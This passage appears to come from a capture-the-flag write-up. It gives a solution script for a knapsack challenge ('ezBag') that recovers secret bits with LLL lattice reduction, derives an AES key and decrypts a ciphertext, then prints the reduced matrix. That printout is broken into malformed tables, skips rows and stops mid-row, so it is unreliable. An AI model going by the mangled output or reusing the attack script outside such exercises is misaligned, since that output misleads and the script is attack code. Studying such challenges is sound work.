161     p=954455861490902893457047257515590051179337979243488068132318878264162627
162     q=824752716083066619280674937934149242011126804999047155998788143116757683
163     ""

```

ezBag

```

1  from Crypto.Util.number import *
2  from Crypto.Cipher import AES
3  import hashlib
4
5  list=[[2826962231, 3385780583, 3492076631, 3387360133, 2955228863,
2289302839, 2243420737, 4129435549, 4249730059, 3553886213, 3506411549,
3658342997, 3701237861, 4279828309, 2791229339, 4234587439, 3870221273,
2989000187, 2638446521, 3589355327, 3480013811, 3581260537, 2347978027,
3160283047, 2416622491, 2349924443, 3505689469, 2641360481, 3832581799,
2977968451, 4014818999, 3989322037, 4129732829, 2339590901, 2342044303,
3001936603, 2280479471, 3957883273, 3883572877, 3337404269, 2665725899,
3705443933, 2588458577, 4003429009, 2251498177, 2781146657, 2654566039,
2426941147, 2266273523, 3210546259, 4225393481, 2304357101, 2707182253,
2552285221, 2337482071, 3096745679, 2391352387, 2437693507, 3004289807,
3857153537, 3278380013, 3953239151, 3486836107, 4053147071], [2241199309,
3658417261, 3032816659, 3069112363, 4279647403, 3244237531, 2683855087,
2980525657, 3519354793, 3290544091, 2939387147, 3669562427, 2985644621,
2961261073, 2403815549, 3737348917, 2672190887, 2363609431, 3342906361,
3298900981, 3874372373, 4287595129, 2154181787, 3475235893, 2223142793,
2871366073, 3443274743, 3162062369, 2260958543, 3814269959, 2429223151,
3363270901, 2623150861, 2424081661, 2533866931, 4087230569, 2937330469,
3846105271, 3805499729, 4188683131, 2804029297, 2707569353, 4099160981,
3491097719, 3917272979, 2888646377, 3277908071, 2892072971, 2817846821,
2453222423, 3023690689, 3533440091, 3737441353, 3941979749, 2903000761,
3845768239, 2986446259, 3630291517, 3494430073, 2199813137, 2199875113,
3794307871, 2249222681, 2797072793], [4263404657, 3176466407, 3364259291,
4201329877, 3092993861, 2771210963, 3662055773, 3124386037, 2719229677,
3049601453, 2441740487, 3404893109, 3327463897, 3742132553, 2833749769,
2661740833, 3676735241, 2612560213, 3863890813, 3792138377, 3317100499,
2967600989, 2256580343, 2471417173, 2855972923, 2335151887, 3942865523,
2521523309, 3183574087, 2956241693, 2969535607, 2867142053, 2792698229,
3058509043, 3359416111, 3375802039, 2859136043, 3453019013, 3817650721,
2357302273, 3522135839, 2997389687, 3344465713, 2223415097, 2327459153,

```

```
3383532121, 3960285331, 3287780827, 4227379109, 3679756219, 2501304959,
4184540251, 3918238627, 3253307467, 3543627671, 3975361669, 3910013423,
3283337633, 2796578957, 2724872291, 2876476727, 4095420767, 3011805113,
2620098961], [2844773681, 3852689429, 4187117513, 3608448149, 2782221329,
4100198897, 3705084667, 2753126641, 3477472717, 3202664393, 3422548799,
3078632299, 3685474021, 3707208223, 2626532549, 3444664807, 4207188437,
3422586733, 2573008943, 2992551343, 3465105079, 4260210347, 3108329821,
3488033819, 4092543859, 4184505881, 3742701763, 3957436129, 4275123371,
3307261673, 2871806527, 3307283633, 2813167853, 2319911773, 3454612333,
4199830417, 3309047869, 2506520867, 3260706133, 2969837513, 4056392609,
3819612583, 3520501211, 2949984967, 4234928149, 2690359687, 3052841873,
4196264491, 3493099081, 3774594497, 4283835373, 2753384371, 2215041107,
4054564757, 4074850229, 2936529709, 2399732833, 3078232933, 2922467927,
3832061581, 3871240591, 3526620683, 2304071411, 3679560821]]
```

```
6 bag=[123342809734, 118191282440, 119799979406, 128273451872]
```

```
7 ciphertext=b'\x1d6\xcc}\x07\xfa7G\xbd\x01\xf0P4^Q"\x85\x9f\xac\x98\x8f#\xb2\x1
2\xfa4+\x05`\x80\x1a\xfa !\x9b\xa5\xc7g\xa8b\x89\x93\x1e\xedz\x1d2M;\xa2'
```

```
8
```

```
9 L = matrix(ZZ,65,68)
```

```
10 t = 2^10
```

```
11 for i in range(64):
```

```
12     L[i,i]=2
```

```
13     L[i,64]=list[0][i]*t
```

```
14     L[i,65]=list[1][i]*t
```

```
15     L[i,66]=list[2][i]*t
```

```
16     L[i,67]=list[3][i]*t
```

```
17     L[64,i]=1
```

```
18 L[64,64]=bag[0]*t
```

```
19 L[64,65]=bag[1]*t
```

```
20 L[64,66]=bag[2]*t
```

```
21 L[64,67]=bag[3]*t
```

```
22
```

```
23 L=L.LLL()
```

```
24 print(L)
```

```
25
```

```
26 l=[0]*64
```

```
27 for i in range(64):
```

```
28     if L[0][i]==-1:
```

```
29         l[i]=1
```

```
30
```

```
31 l=l[::-1]
```

```
32
```

```
33 p=0
```

```
34 for i in range(64):
```

```
35     p=p*2+l[i]
```

```
36 print(p)
```

```
37
```



```

38 key = hashlib.sha256(str(p).encode()).digest()
39 Cipher = AES.new(key, AES.MODE_ECB)
40 message = Cipher.decrypt(ciphertext)
41 print(message)

```

```

1  [  -1  -1  -1  1  1  -1  -1  -1  -1  -1  1  -1
    1  1  -1  1  -1  1  1  -1  1  1  -1  -1  1
   -1  -1  1  -1  1  -1  -1  -1  1  -1  1  -1  -1
   -1  1  -1  -1  -1  -1  -1  -1  1  1  1  1  1
    1  -1  -1  1  1  1  -1  -1  1  -1  -1  -1  -1
    0  0  0  0]
2  [   4  0  0  2  2  4  -4  4  2  -2  0  -2
   -2  8  -8  2  0  2  -2  2  -2  2  0  -2  0
    2  0  -6  -2  4  4  -4  -4  -8  0  6  0  -4
    2  -2  -6  -2  -2  -4  4  8  4  2  -4  2  0
    2  0  -2  -2  -2  0  -2  2  0  0  0  0  0
    0  0  0  0]
3  [  -4  4  0  2  -4  0  4  -6  -4  6  2  -6
    0  0  4  0  0  -4  2  0  10  2  0  0  0
   -2  2  -2  4  4  -4  2  8  2  8  -4  -4  4
   -2  4  0  -2  -6  -2  -2  -6  -2  2  -2  -4  -6
   -2  0  2  2  0  0  0  0  0  0  0  0  0
    0  0  0  0]
4  [  -5  -7  -1  -9  -5  -1  1  -1  5  3  1  5
    5  -5  -3  -3  -1  -3  5  -3  -5  -1  -1  -3
    5  1  -1  -1  -5  -1  1  -7  1  1  5  1  1
    3  1  5  5  3  1  -7  -1  1  -1  3  1  5
    3  1  -3  1  1  1  -1  -1  1  -1  -1  -1  -1
    0  0  0  0]
5  [   7  1  -3  3  1  -3  3  -5  -1  1  1  -1
   -5  11  -3  7  3  3  -11  1  -7  -1  -3  -1  -5
   -1  1  1  -1  -1  -3  3  -5  -1  -1  7  1  1
    1  1  -1  -1  -3  1  5  9  1  1  -1  1  1
   -1  1  -1  -3  -1  -1  1  1  -1  1  1  1  1
    0  0  0  0]
6  [  -2  2  6  -2  -6  -4  0  -2  -8  12  4  -2
    2  -2  4  -6  2  -2  -8  0  -4  -2  -2  -2
    4  2  -2  0  2  -2  -2  -4  4  6  8  2  4
    8  8  -10  2  -4  -2  -4  0  0  0  0  0  0
    0  0  0  0  0  0  0  0  0  0  0  0  0
    0  0  0  0]
7  [   7  3  -9  7  -5  3  1  -3  1  -1  -3  1
   -5  5  -17  9  -3  3  -3  3  1  5  1  -1  1
   -5  1  3  3  3  3  1  3  1  -3  -7  -1  3
    1  -5  -3  -1  -1  -3  9  3  -1  3  -1  -1  -1

```

| | | | | | | | | | | | | | |
|----|----|----|-----|----|----|----|-----|-----|----|----|----|----|----|
| | -1 | 1 | 1 | -1 | -1 | -1 | 1 | 1 | -1 | 1 | 1 | 1 | 1 |
| | 0 | 0 | 0 | 0] | | | | | | | | | |
| 8 | [| 2 | 0 | -4 | 2 | -8 | 2 | 0 | 2 | 4 | 0 | -2 | -2 |
| | 8 | -4 | -4 | 0 | -2 | -8 | 2 | -6 | 12 | 10 | 6 | -6 | 0 |
| | -2 | 6 | 0 | -4 | 0 | 0 | 4 | 6 | 6 | 4 | -4 | -4 | -4 |
| | -4 | 2 | 0 | 4 | -2 | -2 | 0 | -2 | 0 | 2 | 2 | -6 | -4 |
| | 0 | 0 | 0 | 0 | -2 | 0 | -2 | 2 | 0 | 0 | 0 | 0 | 0 |
| | 0 | 0 | 0 | 0] | | | | | | | | | |
| 9 | [| 8 | -6 | -2 | 6 | 4 | 0 | -10 | 6 | 4 | -4 | 0 | 4 |
| | -2 | 4 | -4 | 6 | -8 | -6 | 0 | -2 | 0 | 0 | 4 | -4 | 2 |
| | 4 | 2 | -2 | -4 | -8 | 0 | 4 | -2 | -2 | 2 | -4 | -2 | -8 |
| | -4 | 0 | 6 | 6 | 4 | 0 | 6 | 0 | 2 | 0 | 0 | 0 | 0 |
| | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
| | 0 | 0 | 0 | 0] | | | | | | | | | |
| 10 | [| 8 | 0 | -2 | -6 | -6 | 10 | 2 | 0 | 2 | 0 | 2 | 2 |
| | 4 | 0 | -6 | 0 | 2 | -4 | 0 | -2 | -2 | 4 | 2 | -2 | 0 |
| | 0 | 2 | 4 | -2 | 0 | 2 | 6 | -2 | 2 | -8 | 0 | 6 | -4 |
| | 6 | -2 | -14 | 0 | -2 | -2 | -2 | 0 | 4 | 4 | -2 | -2 | -2 |
| | 2 | 2 | -2 | 0 | -2 | 0 | -2 | 2 | 0 | 0 | 0 | 0 | 0 |
| | 0 | 0 | 0 | 0] | | | | | | | | | |
| 11 | [| -4 | 8 | 8 | 4 | 4 | -2 | -2 | 0 | 2 | 0 | -4 | 2 |
| | -4 | -2 | 0 | -6 | 4 | 6 | 0 | 4 | -2 | -8 | 0 | -2 | 0 |
| | 0 | -8 | 0 | -2 | 4 | 10 | -12 | 0 | 0 | -8 | 4 | 0 | 0 |
| | -2 | -4 | -6 | 2 | 6 | 2 | 6 | 0 | 0 | -8 | 4 | 6 | 2 |
| | 0 | -4 | 2 | -2 | 2 | 0 | 2 | -2 | 0 | 0 | 0 | 0 | 0 |
| | 0 | 0 | 0 | 0] | | | | | | | | | |
| 12 | [| -1 | 3 | -3 | 3 | -9 | -7 | -1 | 5 | 1 | -1 | -1 | -1 |
| | 5 | -1 | -5 | -5 | -7 | 3 | 1 | -1 | -5 | 9 | 3 | -1 | 5 |
| | -9 | 7 | 7 | -1 | -3 | -3 | 3 | 1 | 5 | 1 | -3 | 1 | 3 |
| | 1 | 5 | 5 | 3 | 1 | -1 | 3 | 5 | -3 | -1 | 3 | -3 | -1 |
| | -3 | -1 | 1 | -3 | -1 | -1 | 1 | 1 | -1 | 1 | 1 | 1 | 1 |
| | 0 | 0 | 0 | 0] | | | | | | | | | |
| 13 | [| -4 | -2 | 0 | 4 | 0 | -4 | 6 | -6 | 4 | 0 | 2 | 4 |
| | 0 | -8 | 2 | -2 | 6 | 2 | -2 | 0 | 4 | -4 | 4 | 4 | 2 |
| | -2 | -6 | 2 | 4 | 4 | 0 | -12 | -4 | 12 | -6 | -2 | -2 | 10 |
| | -2 | -2 | -4 | -2 | 2 | 2 | 0 | -2 | -4 | -2 | 2 | 2 | 4 |
| | -2 | 0 | 0 | 0 | 0 | 2 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
| | 0 | 0 | 0 | 0] | | | | | | | | | |
| 14 | [| -6 | -6 | 0 | 6 | 4 | -6 | 4 | -6 | 0 | 6 | 0 | -6 |
| | 2 | 4 | 8 | 0 | 2 | 2 | 2 | 2 | 2 | -4 | 8 | 4 | -2 |
| | 2 | 0 | -6 | 0 | 2 | -6 | 0 | 0 | 0 | 2 | 0 | 0 | 2 |
| | -6 | 4 | 2 | 0 | -4 | 0 | 0 | 0 | -2 | 2 | -6 | 0 | -4 |
| | -4 | 2 | 0 | 2 | 0 | 2 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
| | 0 | 0 | 0 | 0] | | | | | | | | | |
| 15 | [| -2 | 4 | -2 | 4 | 0 | 2 | 6 | -6 | -2 | 6 | -6 | 4 |
| | -4 | 4 | 0 | -2 | 2 | 6 | -2 | 2 | 0 | 0 | -4 | 0 | 2 |
| | -8 | 0 | 2 | 2 | 4 | -2 | 4 | 6 | 0 | -6 | 2 | 0 | 0 |

| | | | | | | | | | | | | | |
|----|----|----|----|-----|----|-----|----|----|-----|-----|-----|----|----|
| | 2 | -4 | 0 | -4 | 2 | 0 | 0 | -4 | -4 | -4 | -4 | 2 | -4 |
| | -2 | -4 | 4 | 2 | 2 | 0 | 2 | -2 | 0 | 0 | 0 | 0 | 0 |
| | 0 | 0 | 0 | 0] | | | | | | | | | |
| 16 | [| -6 | 2 | -4 | -2 | 2 | 0 | 0 | 6 | 0 | -12 | 4 | -6 |
| | -2 | 2 | 4 | 0 | 4 | 4 | 4 | -2 | 6 | 2 | 0 | -6 | 2 |
| | -4 | 2 | 0 | -2 | 4 | 0 | 0 | 6 | -10 | 6 | -2 | 0 | 4 |
| | -6 | 0 | 8 | -4 | 0 | 0 | -2 | -2 | 2 | 6 | 2 | -4 | -2 |
| | 2 | 2 | -2 | -2 | -2 | -2 | -2 | 2 | 0 | 0 | 0 | 0 | 0 |
| | 0 | 0 | 0 | 0] | | | | | | | | | |
| 17 | [| -8 | 0 | 2 | 4 | 6 | -8 | -4 | 0 | -2 | -2 | -2 | 0 |
| | 4 | -8 | 10 | -4 | 8 | 8 | -2 | -6 | 2 | -4 | 6 | 0 | 4 |
| | -4 | -6 | 0 | -8 | 0 | 8 | -8 | 0 | 10 | -4 | -4 | 6 | -2 |
| | 0 | 2 | -2 | 6 | 6 | 2 | 2 | -2 | -2 | -4 | 6 | 2 | 0 |
| | -4 | -2 | 2 | 0 | 2 | 2 | 2 | -2 | 0 | 0 | 0 | 0 | 0 |
| | 0 | 0 | 0 | 0] | | | | | | | | | |
| 18 | [| 4 | 6 | 10 | 2 | 6 | 2 | -4 | 0 | -4 | 4 | 4 | 0 |
| | 0 | -2 | 8 | 0 | 4 | -14 | -6 | 4 | 2 | -4 | 4 | -4 | -2 |
| | 2 | 0 | 2 | -2 | 2 | 2 | -8 | 2 | -2 | 4 | 4 | -2 | -2 |
| | -4 | 0 | -6 | 0 | -4 | 2 | 0 | -4 | 0 | 0 | 2 | -2 | -2 |
| | 2 | 0 | 0 | -2 | -2 | -2 | -2 | 2 | 0 | 0 | 0 | 0 | 0 |
| | 0 | 0 | 0 | 0] | | | | | | | | | |
| 19 | [| 0 | 6 | -4 | -4 | -2 | 0 | -2 | -4 | -16 | 10 | 4 | -4 |
| | 0 | -4 | 0 | 0 | -4 | -2 | 4 | 4 | -4 | 0 | 0 | 6 | 4 |
| | -6 | 4 | 6 | 0 | -2 | -2 | 6 | 4 | 2 | 6 | -8 | 4 | 0 |
| | 6 | 8 | -2 | 8 | -8 | -2 | -2 | -4 | 0 | 2 | -2 | -2 | -2 |
| | -4 | 2 | 2 | 4 | 0 | 0 | 0 | -2 | 0 | 0 | 0 | 0 | 0 |
| | 0 | 0 | 0 | 0] | | | | | | | | | |
| 20 | [| 1 | -3 | 5 | -1 | -1 | 3 | -3 | -3 | 5 | 5 | -5 | 7 |
| | 5 | -1 | -9 | 3 | -1 | -1 | -3 | 5 | -5 | -1 | -3 | -1 | -1 |
| | 3 | -1 | -5 | -1 | 1 | 3 | -5 | -5 | 1 | -3 | 5 | -1 | -3 |
| | -1 | -3 | 3 | 1 | 1 | -1 | 3 | -1 | -3 | -3 | 3 | 1 | 1 |
| | 7 | -1 | -3 | -3 | 3 | -1 | -3 | 1 | 1 | -1 | -1 | -1 | -1 |
| | 0 | 0 | 0 | 0] | | | | | | | | | |
| 21 | [| -3 | -5 | -3 | -3 | -3 | 3 | -1 | 5 | 7 | -9 | -5 | 1 |
| | -3 | 1 | -3 | -3 | 5 | 1 | 5 | -7 | 7 | 9 | -3 | -7 | -1 |
| | -1 | -1 | -5 | -7 | 1 | 7 | 1 | 3 | -5 | -5 | 3 | 3 | -3 |
| | -1 | -9 | 1 | 3 | 7 | 1 | 1 | 1 | 3 | -3 | 5 | 1 | 1 |
| | 1 | -5 | 1 | 1 | 1 | 1 | 3 | -3 | 1 | -1 | -1 | -1 | -1 |
| | 0 | 0 | 0 | 0] | | | | | | | | | |
| 22 | [| -6 | -2 | -6 | -2 | -2 | -2 | 4 | -10 | 2 | 8 | -6 | 4 |
| | 4 | -4 | -6 | 10 | 0 | 0 | -2 | -2 | -6 | -2 | 2 | 4 | -6 |
| | 4 | 2 | 2 | 4 | -4 | 0 | 2 | 2 | 6 | -2 | 2 | 0 | 0 |
| | -2 | -4 | 6 | 2 | 0 | 0 | -2 | -2 | -4 | 0 | 6 | 0 | 2 |
| | 2 | 8 | -4 | -2 | 4 | 0 | 0 | -2 | 0 | 0 | 0 | 0 | 0 |
| | 0 | 0 | 0 | 0] | | | | | | | | | |
| 23 | [| -4 | 0 | 6 | -2 | 0 | -4 | 0 | 10 | 2 | -2 | 4 | 6 |
| | 6 | -6 | 6 | -10 | -6 | -2 | 4 | -2 | 0 | 2 | 4 | -2 | 0 |

| | | | | | | | | | | | | | |
|----|---|-----|----|----|----|----|-----|----|----|----|-----|----|----|
| 31 | [| -7 | 7 | 5 | -7 | -7 | -3 | 3 | -3 | 3 | 1 | -3 | 5 |
| | | -1 | -3 | 3 | -7 | 3 | 1 | -3 | -5 | 3 | -1 | -7 | -5 |
| | | -1 | 3 | -3 | -1 | -3 | -3 | 3 | 3 | 1 | 3 | 7 | 1 |
| | | 1 | 3 | -3 | 3 | 3 | -1 | -3 | -3 | 1 | -5 | 3 | 3 |
| | | 3 | -3 | 1 | 1 | 1 | -1 | 3 | -5 | -1 | 1 | 1 | -1 |
| | | 0 | 0 | 0 | 0] | | | | | | | | |
| 32 | [| -2 | -4 | -2 | -4 | 6 | 2 | -6 | 2 | 2 | -4 | 4 | 0 |
| | | 4 | 2 | 4 | 2 | -4 | 2 | 4 | 4 | 0 | -4 | 4 | 6 |
| | | 10 | -6 | -8 | 4 | 0 | 4 | -6 | -8 | -4 | 0 | -2 | 6 |
| | | 8 | -6 | -6 | -2 | 2 | -6 | -2 | -2 | 0 | 2 | -2 | 2 |
| | | 0 | 4 | -2 | 0 | -2 | 4 | -2 | 2 | 0 | -2 | -2 | 0 |
| | | 0 | 0 | 0 | 0] | | | | | | | | |
| 33 | [| -3 | 3 | 1 | 1 | -9 | -3 | 5 | -5 | 3 | 1 | 9 | -1 |
| | | -1 | 7 | 3 | -5 | 1 | -3 | -1 | -3 | 3 | 1 | -3 | -1 |
| | | -1 | -1 | 3 | -1 | -3 | -3 | 1 | 1 | 5 | 3 | -1 | 7 |
| | | 1 | 7 | -5 | 7 | -3 | -3 | 1 | -3 | 5 | -1 | 1 | -5 |
| | | -3 | 3 | -1 | -1 | -1 | 1 | 1 | -1 | -1 | 1 | 1 | 1 |
| | | 0 | 0 | 0 | 0] | | | | | | | | |
| 34 | [| 7 | 1 | 7 | -5 | -3 | 1 | -3 | 1 | -7 | 3 | 7 | -3 |
| | | -5 | 7 | -5 | 1 | -5 | -1 | 1 | 5 | -5 | -7 | -5 | -9 |
| | | 5 | -3 | 3 | -3 | -1 | 1 | 1 | -3 | -3 | -1 | 3 | 3 |
| | | 1 | 7 | -7 | 7 | -1 | -1 | 5 | 1 | 5 | -1 | -3 | 1 |
| | | 5 | 1 | 1 | 1 | -1 | -3 | -3 | -1 | -1 | 3 | 1 | -1 |
| | | 0 | 0 | 0 | 0] | | | | | | | | |
| 35 | [| 0 | -2 | -4 | -6 | -4 | 0 | 8 | -6 | 4 | 4 | 6 | 4 |
| | | -6 | 0 | 2 | -2 | 4 | -2 | 2 | -6 | -4 | -4 | -4 | 2 |
| | | 2 | -2 | 0 | 2 | -6 | -6 | 6 | 0 | 4 | -12 | 4 | 2 |
| | | 0 | 0 | 4 | 6 | 4 | 4 | -6 | -4 | 4 | -2 | 2 | 2 |
| | | 0 | 0 | 0 | 2 | 4 | 2 | 2 | 0 | 0 | -2 | -2 | 0 |
| | | 0 | 0 | 0 | 0] | | | | | | | | |
| 36 | [| 2 | -2 | 2 | 4 | 4 | -2 | 8 | -6 | 2 | -2 | 6 | -4 |
| | | 0 | 4 | 0 | 8 | 8 | -6 | 0 | 6 | 0 | -4 | 2 | -6 |
| | | -2 | -4 | 2 | -4 | 0 | -4 | 4 | -2 | 2 | -4 | 0 | -4 |
| | | -10 | -2 | 0 | -2 | 0 | 4 | 6 | 0 | -4 | 2 | 4 | -2 |
| | | 0 | -4 | 0 | -4 | 0 | 0 | -2 | 4 | 0 | 0 | 0 | 2 |
| | | 0 | 0 | 0 | 0] | | | | | | | | |
| 37 | [| 5 | -1 | 3 | -7 | -3 | -1 | -1 | -3 | -1 | 3 | 7 | 1 |
| | | 3 | 1 | 5 | -1 | -3 | -13 | 3 | 1 | -9 | 1 | -3 | -1 |
| | | 3 | 1 | 5 | -3 | -7 | -1 | 3 | -3 | 3 | -5 | 3 | 1 |
| | | -1 | 1 | 3 | 5 | 5 | 5 | -5 | -5 | -1 | -1 | 7 | -3 |
| | | 1 | -3 | 1 | -1 | 5 | 1 | -1 | -1 | 3 | -1 | -3 | -3 |
| | | 0 | 0 | 0 | 0] | | | | | | | | |
| 38 | [| 1 | 3 | -1 | 1 | 1 | -1 | 7 | -7 | 7 | -1 | 5 | 3 |
| | | -3 | 3 | 9 | 1 | 5 | 1 | 1 | 1 | -5 | -1 | 5 | -1 |
| | | -9 | -3 | 7 | 1 | 1 | -7 | 1 | 5 | 1 | -11 | 3 | 1 |
| | | -1 | -3 | -1 | -7 | 3 | 1 | -3 | -5 | -5 | 1 | 1 | 3 |

| | | | | | | | | | | | | | |
|----|-----|-----|-----|----|----|-----|----|-----|-----|----|----|----|----|
| | -1 | -1 | 3 | -3 | 1 | -1 | -1 | 1 | -3 | 3 | 1 | 1 | 1 |
| | 0 | 0 | 0 | 0] | | | | | | | | | |
| 39 | [| 0 | -2 | 2 | -6 | -4 | 4 | 4 | -4 | -8 | 6 | 0 | 2 |
| | 6 | -10 | 2 | 0 | 4 | -4 | 0 | -4 | -6 | 2 | 0 | 4 | -2 |
| | 0 | 2 | 4 | 2 | -2 | 2 | 4 | 2 | 10 | -2 | 2 | 2 | 2 |
| | 2 | 0 | -10 | 0 | 0 | 2 | -4 | 0 | -4 | 0 | 2 | 0 | -2 |
| | 0 | 2 | 0 | 0 | 0 | 0 | 0 | 0 | 2 | 0 | 0 | 0 | 0 |
| | 0 | 0 | 0 | 0] | | | | | | | | | |
| 40 | [| -4 | 2 | -2 | 6 | 0 | 4 | -2 | 2 | 0 | 4 | 0 | -4 |
| | 6 | 2 | 0 | -6 | 0 | 8 | 0 | 2 | 6 | 4 | 4 | 2 | 4 |
| | -6 | 2 | -6 | 0 | 8 | 2 | -6 | 0 | 2 | 4 | 2 | -4 | 0 |
| | 0 | 2 | -6 | -2 | -2 | -6 | 0 | 10 | -2 | -2 | -6 | 0 | 0 |
| | -6 | 2 | 2 | 0 | -4 | 0 | -2 | 2 | -2 | 4 | 2 | 2 | 2 |
| | 0 | 0 | 0 | 0] | | | | | | | | | |
| 41 | [| 3 | 1 | -5 | -7 | -7 | 9 | 3 | 3 | -5 | 5 | -5 | -3 |
| | 7 | -9 | -5 | -1 | -1 | 1 | 1 | -1 | 3 | 3 | -3 | 7 | -1 |
| | 5 | 3 | 3 | 3 | 3 | 1 | 7 | 5 | 3 | -1 | 1 | -3 | -1 |
| | 5 | 3 | -5 | -3 | -5 | -5 | -5 | -3 | 3 | -3 | -1 | 1 | 1 |
| | 1 | 3 | -3 | 3 | -1 | -1 | -3 | 1 | -1 | 1 | 3 | 3 | 1 |
| | 0 | 0 | 0 | 0] | | | | | | | | | |
| 42 | [| -10 | 2 | -4 | 2 | -2 | -2 | 4 | 2 | 6 | 2 | -2 | 2 |
| | -2 | -2 | -4 | -4 | -2 | 6 | 2 | -6 | -6 | -2 | 4 | 0 | 4 |
| | -10 | 0 | 0 | 2 | 2 | -2 | -4 | 4 | 0 | 0 | 4 | 2 | 4 |
| | 0 | -2 | 2 | 0 | 4 | -2 | -2 | 4 | 2 | 0 | -6 | 4 | 2 |
| | 0 | 2 | 2 | 2 | 2 | -2 | -2 | -2 | -2 | 2 | 2 | 0 | 0 |
| | 0 | 0 | 0 | 0] | | | | | | | | | |
| 43 | [| -3 | -1 | -5 | 7 | -1 | -1 | -3 | -3 | 3 | 3 | -1 | 1 |
| | -9 | 7 | -7 | 1 | 1 | 3 | 1 | 5 | -3 | -1 | -1 | -1 | 5 |
| | -5 | -1 | 1 | 1 | 5 | -1 | -3 | 3 | -3 | -3 | -1 | -3 | 3 |
| | -3 | -5 | 5 | 1 | 3 | -1 | 7 | 1 | 3 | -3 | -3 | 1 | 7 |
| | -3 | 3 | 1 | 1 | 1 | 1 | 1 | -3 | -5 | 3 | 1 | 3 | 1 |
| | 0 | 0 | 0 | 0] | | | | | | | | | |
| 44 | [| -1 | 3 | 1 | -1 | 3 | -3 | -15 | 11 | -9 | -1 | -3 | 3 |
| | -3 | -1 | -3 | -5 | -5 | 1 | -1 | 3 | -9 | -3 | 5 | 5 | 3 |
| | 5 | 7 | 1 | 1 | 1 | 1 | -7 | 1 | -13 | 1 | 1 | 1 | -5 |
| | 3 | 3 | 3 | 1 | 1 | -1 | -3 | 3 | 3 | 1 | -1 | 3 | 3 |
| | 3 | 1 | 1 | -1 | 1 | 1 | 1 | -3 | -1 | -1 | -1 | -1 | -1 |
| | 0 | 0 | 0 | 0] | | | | | | | | | |
| 45 | [| 3 | 1 | -3 | -1 | 3 | -1 | -3 | 7 | 3 | -9 | 1 | -5 |
| | 3 | 3 | 1 | 3 | -7 | -11 | 7 | 3 | 5 | 7 | 3 | -3 | 3 |
| | 3 | -1 | -3 | -1 | -3 | 1 | -3 | -1 | -7 | 7 | -1 | 1 | -3 |
| | 1 | -1 | 5 | -5 | -3 | -3 | 1 | 5 | -1 | 3 | -1 | -3 | -1 |
| | -1 | -1 | -1 | -1 | -3 | -1 | -3 | 1 | 1 | 1 | -1 | -1 | -1 |
| | 0 | 0 | 0 | 0] | | | | | | | | | |
| 46 | [| -1 | -7 | 7 | 3 | 3 | 1 | -5 | 7 | -3 | 3 | -3 | 1 |
| | -1 | -3 | 3 | -7 | -7 | 1 | 3 | -1 | -5 | -5 | -1 | 5 | 5 |
| | 7 | 1 | -5 | 7 | 7 | -5 | 3 | 3 | 3 | -1 | -3 | 1 | -3 |

| | | | | | | | | | | | | | |
|----|----|----|-----|----|----|----|-----|----|----|----|----|----|----|
| | 1 | 3 | -1 | -5 | 3 | -3 | -1 | -7 | -1 | 3 | -7 | -1 | -1 |
| | -1 | 3 | -3 | 3 | 3 | -1 | -1 | -3 | -1 | 1 | 1 | 1 | -1 |
| | 0 | 0 | 0 | 0] | | | | | | | | | |
| 47 | [| 12 | 6 | -6 | 0 | 0 | 8 | 2 | 0 | 2 | -6 | -2 | -2 |
| | -4 | 2 | -6 | 8 | 6 | 0 | -8 | 0 | 6 | 4 | -2 | -8 | -6 |
| | 0 | 0 | 6 | -4 | -2 | 4 | 4 | 6 | -4 | -2 | 2 | 2 | -4 |
| | 0 | -4 | -6 | -4 | -2 | -2 | 4 | 0 | 2 | 0 | 4 | 0 | -4 |
| | 2 | -2 | -2 | -2 | -2 | -2 | -2 | 4 | -4 | 0 | 2 | 0 | 2 |
| | 0 | 0 | 0 | 0] | | | | | | | | | |
| 48 | [| 1 | -3 | -3 | -3 | -1 | 3 | 5 | 5 | 7 | -3 | -1 | 1 |
| | 5 | 5 | -7 | 1 | -3 | 3 | 3 | -3 | -1 | 3 | 1 | -5 | -7 |
| | 1 | -1 | -1 | 1 | -1 | -3 | 7 | -1 | -3 | -1 | 7 | -3 | -1 |
| | 1 | -7 | 3 | -3 | 5 | -1 | -1 | 9 | 1 | 1 | -3 | 1 | 3 |
| | 3 | -1 | -1 | -1 | -5 | -1 | -3 | 3 | 1 | -1 | 1 | 1 | -1 |
| | 0 | 0 | 0 | 0] | | | | | | | | | |
| 49 | [| 0 | -2 | 0 | 0 | 4 | -2 | 0 | 4 | -4 | 2 | 4 | -2 |
| | 2 | -6 | 8 | -6 | 2 | 6 | -2 | 0 | -6 | -6 | 0 | 6 | 6 |
| | 2 | 0 | 2 | 2 | -2 | -6 | 6 | 2 | 6 | -4 | -4 | 4 | -2 |
| | 0 | 6 | -2 | -2 | 0 | 0 | -2 | -2 | 0 | 0 | -4 | 0 | -4 |
| | -2 | 0 | 2 | 2 | 2 | 2 | -2 | 2 | 0 | -4 | 0 | 2 | 0 |
| | 0 | 0 | 0 | 0] | | | | | | | | | |
| 50 | [| 3 | -3 | 1 | 5 | -1 | 1 | -1 | 1 | -5 | 5 | 5 | -3 |
| | -5 | 5 | 1 | -1 | 1 | 3 | -11 | 1 | -1 | 1 | -1 | 1 | 5 |
| | -1 | 5 | -3 | 1 | 3 | -5 | -1 | -3 | -1 | 5 | 1 | 1 | 3 |
| | 1 | 9 | -9 | 1 | -9 | -1 | 3 | 7 | 3 | 5 | -9 | -1 | -5 |
| | -3 | 3 | -3 | 1 | -1 | 1 | 1 | -1 | -3 | 3 | 5 | 1 | 1 |
| | 0 | 0 | 0 | 0] | | | | | | | | | |
| 51 | [| 1 | 1 | 3 | 1 | -7 | 3 | -9 | 1 | 3 | 3 | -1 | 7 |
| | 3 | -3 | -5 | -5 | -5 | -1 | 5 | 1 | 7 | -1 | -1 | -3 | 3 |
| | 3 | -1 | 3 | 1 | -5 | 1 | -1 | -3 | 5 | 3 | -3 | -3 | -5 |
| | 3 | 3 | 1 | 5 | 5 | -5 | 1 | -7 | 1 | -3 | -3 | -3 | -3 |
| | 1 | 1 | -1 | -1 | 1 | -1 | -1 | -1 | 1 | -1 | -1 | 1 | -1 |
| | 0 | 0 | 0 | 0] | | | | | | | | | |
| 52 | [| 2 | 2 | -2 | -6 | -4 | 2 | 4 | -2 | 6 | -6 | 0 | -2 |
| | -2 | 2 | 0 | 4 | 6 | 4 | 2 | -2 | 2 | 4 | -6 | -2 | -4 |
| | -2 | -2 | -10 | 0 | 0 | 2 | -2 | -2 | -8 | 4 | 2 | 0 | 4 |
